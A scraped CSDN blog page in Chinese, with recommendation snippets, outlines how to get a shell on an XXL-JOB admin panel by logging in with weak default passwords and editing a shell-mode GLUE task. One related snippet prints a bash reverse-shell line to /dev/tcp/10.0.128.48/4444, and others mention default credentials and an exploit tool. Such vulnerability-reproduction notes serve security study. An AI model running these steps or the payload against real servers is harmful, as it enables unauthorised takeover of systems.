XXL-JOB后台getshell

最新推荐文章于 2024-07-12 10:43:26 发布
最新推荐文章于 2024-07-12 10:43:26 发布
阅读量4.2k 收藏 1
点赞数 1
分类专栏： 漏洞复现 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zeroc009/article/details/124001034
版权
本文介绍了XXL-JOB，一个分布式任务调度平台，以及如何利用后台弱点获取shell。通过使用弱口令登录，创建任务并编辑GLUE来实现shell反弹。
摘要由CSDN通过智能技术生成

XXL-JOB后台getshell

XXL-JOB简介

XXL-JOB是一个分布式任务调度平台，其核心设计目标是开发迅速、学习简单、轻量级、易扩展。

后台getshell步骤

使用弱口令登陆平台
在这里插入图片描述
新建一个任务，然后执行
在这里插入图片描述在这里插入图片描述

返回GLUE进行编辑，反弹shell

最低0.47元/天 解锁文章
five~~~
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
XXL-JOB任务调度中心后台命令执行漏洞
失心少年
08-20 1560
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！XXL-JOB任务调度中心后台存在命令执行漏洞，攻击者可在后台通过写入shell命令任务调度获取服务器控制权限。5、查看网站有回显，命令被成功执行。2、选择任务管理模块，新增任务。4、操作选择执行一次。
XXL-JOB分布式任务调度平台GetShell
Kevin's Blog
06-16 3105
一、漏洞介绍 1.1 漏洞简介   XXL-JOB是一个轻量级分布式任务调度平台，核心目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线，开箱即用。   如果XXL-JOB任务调度中心后台使用了弱密码，则可以在后台查看到一些敏感信息，可通过新增任务来反弹shell。 GitHub项目地址：https://github.com/xuxueli/xxl-job 1.2 漏洞指纹 访问其端口，查看到如下后台页面 二、攻击过程 》》nmap扫描端口，浏览器访问xxl-job后台
xxl-job定时任务（shell）
m0_58096123的博客
02-27 871
访问：http://192.168.76.14:8080/xxl-job-admin （IP改成自己的哈）增加节点的话我们直接将编译好的jar包拷贝到其他节点运行起来就可以了。我这里的脚本很简单，就是在/root/下面创建一个文件，写入执行成功。同时我们可以看到这里已经自动注册了一个节点。刷新web界面，此时注册节点已经变成了两个。现在来查看服务器上面是否创建了文件。略（docker起一个就好）默认用户名：admin。默认密码：123456。
xxl-job后台getshell
weixin_44508748的博客
12-14 1058
使用弱口令尝试登录（admin:admin root:root admin:123456） #!/bin/bash bash -i >& /dev/tcp/10.0.128.48/4444 0>&1 随意命名备注名称，点击保存 监听端口，点击执行，回弹shell
XXL-JOB 任务调度中心 后台反弹getshell
m0_49025459的博客
03-14 1548
监听IP先进行监听，然后按照测试是否出网的时候执行一次，就将shell反弹到监听设备上了。那我们就可以更改 GLUE IDE中的命令了，将shell反弹到我们监听的设备。访问漏洞场景，使用弱口令admin/123456,进入后台。选择GLUE IDE，我们可以通过DNSlog判断一下。运行模式一定要选shell模式，其他的地方随便填。刷新之后，出现下图情况，证明设备出网。然后我们保存，然后执行一次。
后台登录xxl-job-admin，实现后端对定时任务的增删改查
weixin_45753881的博客
04-03 1299
通过java代码实现xxl-job-admin的登录和xxl job的增删改查
xxl-job适配达梦数据库
02-02
XXL-JOB是一款轻量级分布式任务调度平台，它提供了简单易用的API接口和Web管理界面，使得开发者可以方便地实现任务的分布式调度。在本案例中，我们关注的是如何将XXL-JOB与达梦数据库（DM8）进行适配。达梦数据库...
XXL-JOB反弹shell利用工具（xxl-jobExploitGUI）
11-03
工具实现了XXL-JOB默认accessToken权限绕过漏洞的单个检测、批量检测、一键反弹shell功能，后续会持续更新优化，添加POC检测等。（由于传播、利用此资源所提供的信息或者工具而造成的任何直接或者间接的后果及损失，...
xxl-job-admin-2.4.1-SNAPSHOT之oracle版
10-09
XXL-JOB是一个分布式任务调度平台，主要由两部分组成：调度中心（xxl-job-admin）和执行器（xxl-job-executor）。本资源“xxl-job-admin-2.4.1-SNAPSHOT”是针对Oracle数据库的版本，意味着它已经配置好与Oracle...
xxl-job-executor:与xxl-job-executor的集成
04-19
xxl-job-executor的gin中间件背景xxl-job-executor-go是xxl-job的golang执行器，可以独立运行，有时候我们要与项目或者框架（如:gin框架）集成起来合并为一个服务，本项目因此而生。执行器项目地址与gin集成示例...
xxl-job-2.4.0 适配postgresql
08-11
xxl-job-2.4.0 postgresql初始化脚本
XXL-JOB任务调度中心-反弹shell)
weixin_48421613的博客
05-25 2179
XXL-JOB任务调度中心-反弹shell什么是XXL-JOBXXL-JOB初体验修复建议 什么是XXL-JOB XXL-JOB是一个轻量级分布式任务调度平台，支持通过web页面对任务进行操作，基于Java-spring boot框架开发，利用Maven依赖编译好，开箱即用。 如果XXL-JOB任务调度中心后台使用了弱密码，则可通过新增任务来反弹shell（实际上可以执行很多系统命令，因为bash shell直接写进服务器里面了）。 XXL-JOB初体验 今天测试，在后台看到了这个陌生的东西，说实话，安全测
XXL-JOB 任务调度中心 后台任意命令执行漏洞
热门推荐
LiBai'S BLOG
10-17 3万+
在日常开发中，经常会用定时任务执行某些不紧急又非常重要的事情，例如批量结算，计算当日的订单量，当日的成本收入等。当存在大量定时任务的时候，任务的管理也会成为一个比较头痛的问题。XXL-JOB 任务调度中心系统存在后台命令执行漏洞，攻击者可以通过反弹shell执行任意命令，获取服务器管理权限。
使用xxl-job执行GLUE(shell)
前路无畏的博客
12-10 2万+
需求是这样：需要使用xxl-job实现调用脚本的功能，实现目的是在xxl-job控制器上创建一个test文件既可以了。 1.需求分析 通过这个图片，应该对需求和xxl-job执行shell的原理很明白了吧。 下面开始具体配置 2.执行器发现 把xxl-job部署在4444端口的机器上，注册到xxl-admin上 可以先自动发现，等西东发现后，选择手动，把自动识别错误的删除掉就可以了。 3. 如果有必要需要在xxl-job中写清楚自己的ip和端口，特别在虚拟环境中需要写明ip和端口 4. 书写GLU
【xxl-job】分布式任务调度系统xxl-job执行器自动启动
u012153104的博客
08-01 1111
现在，xxl-job执行器已经作为一个后台服务在systemd中运行了。为了解决这个问题，我们可以使用systemd将xxl-job执行器作为后台服务来运行。XXL-JOB是一个轻量级分布式任务调度平台，其核心设计目标是开发迅速、学习简单、轻量级、易扩展、开箱即用。下面是一些将xxl-job执行器设置为systemd服务的步骤：【运行环境：Ubuntu 22.04】：服务部分定义了服务的运行方式和参数。：单元部分定义了服务单元的整体信息。：安装部分定义了服务的安装信息。
复现XXL-JOB 任务调度中心后台任意命令执行漏洞
记录并分享学习安全的知识点..
07-27 1658
XXL-JOB 任务调度中心攻击者可以在后台可以通过写入shell命令任务调度获取服务器权限。
XXL-job的搭建和使用-执行shell脚本
大宇进阶之路的博客
10-07 4316
场景：在腾讯云服务器上安装xxl-job应用和mysql数据库。安装mysql，安装教程见。
网络安全-内网安全加固方案
最新发布
PanDD_0_1的博客
07-12 630
网络安全-内网安全
xxl-job shell
08-24
您好！关于 xxl-job shell 的问题，xxl-job 是一个分布式任务调度框架，支持多种任务类型，包括 Shell 任务。 在 xxl-job 中，Shell 任务是通过执行 Shell 脚本来完成具体的任务逻辑。您可以通过编辑 Shell 脚本来定义要执行的任务内容，并在 xxl-job 的任务配置中指定该 Shell 脚本的路径。 在 Shell 脚本中，您可以使用 Shell 命令和语法来完成各种操作，例如调用其他程序、处理文件、访问网络等。xxl-job 会在指定的执行器上运行该脚本，并将执行结果返回给 xxl-job 的调度中心。 需要注意的是，在编写 Shell 脚本时，建议考虑安全性和可维护性，避免使用不安全的命令或参数，以及注意脚本的可读性和可扩展性。 希望以上信息对您有所帮助！如果您有其他问题，请随时提问。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

five~~~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值